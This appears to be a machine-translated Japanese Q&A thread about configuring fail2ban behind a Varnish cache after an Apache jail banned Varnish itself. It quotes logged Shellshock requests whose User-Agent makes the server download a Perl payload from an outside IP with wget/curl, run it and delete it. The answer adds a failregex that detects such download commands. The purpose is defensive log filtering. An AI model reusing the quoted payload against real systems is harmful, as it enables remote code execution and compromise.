0

現在、2 つの IP を持つサーバーがあり、1 つは内部に、もう 1 つは外部にニスがあり、内部に apache バックエンドがあり、fail2ban はほとんどデフォルトで実行されています。

最近、ウェブサイトがダウンして 503 エラーが返され、fail2ban が apache-noscript ルールによってワニスが apache バックエンドと通信することを禁止していたことが判明しました。その後、IP アドレスの除外を追加したため、これが再び禁止されることはありませんが、理想的には、クライアントが将来禁止された場合に優先します。

Apache ログから

SERVER_IP - - [14/Jan/2015:16:52:57 +0000] "GET /phppath/php HTTP/1.1" 404 438 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS! #";system(\"wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*\");'"

ワニスログから

CLIENT_IP - - [14/Jan/2015:16:52:57 +0000] "GET http://SERVER_IP/phppath/php HTTP/1.1" 404 226 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*");'"

私の apache-noscript 定義をレプリケートして varnishlogs を使用しても問題ないでしょうか。つまり、次のようになります。

[apache-noscript]

enabled  = true
port     = http,https
filter   = apache-noscript
logpath  = /var/log/apache*/*error.log
maxretry = 2 

なる

[varnish-noscript]

enabled  = true
port     = http,https
filter   = apache-noscript
logpath  = /var/log/varnish/varnishncsa.log
maxretry = 2

apache no script filter に次の failregex があることに気付きました

failregex = ^%(_apache_error_client)s (File does not exist|script not found or unable to stat): /\S*(\.php|\.asp|\.exe|\.pl)\s*$
            ^%(_apache_error_client)s script '/\S*(\.php|\.asp|\.exe|\.pl)\S*' not found or unable to stat\s*$

主な問題は、上記の出力の varnishlog でこれが引き続き機能するかということだと思います。

どうもありがとう。

[編集] 偶然にも、noscript が禁止を行ったことが判明しましたが、上記のログ エントリについてはそうではありませんでした。ここで、上記のログ エントリの fail2ban 正規表現を作成します。

4

1 に答える 1

0

さて、上記をキャッチするために、次のルールで新しい刑務所を作成しました。

failregex = ^<HOST>.*\[[^]]+\].*\".+\"\s[1-9][0-9][0-9]\s[0-9]+\s\".*\"\s\".*(\/tmp|\/usr\/bin|curl\s+|\s*wget\s+|\.bin\s+).*\"$

上記のログ行をキャッチするルールの改善をお気軽に提案してください。

fail 正規表現は、apache アクセス ログと varnish csa ログの両方で機能します。

于 2015-01-16T14:29:13.883 に答える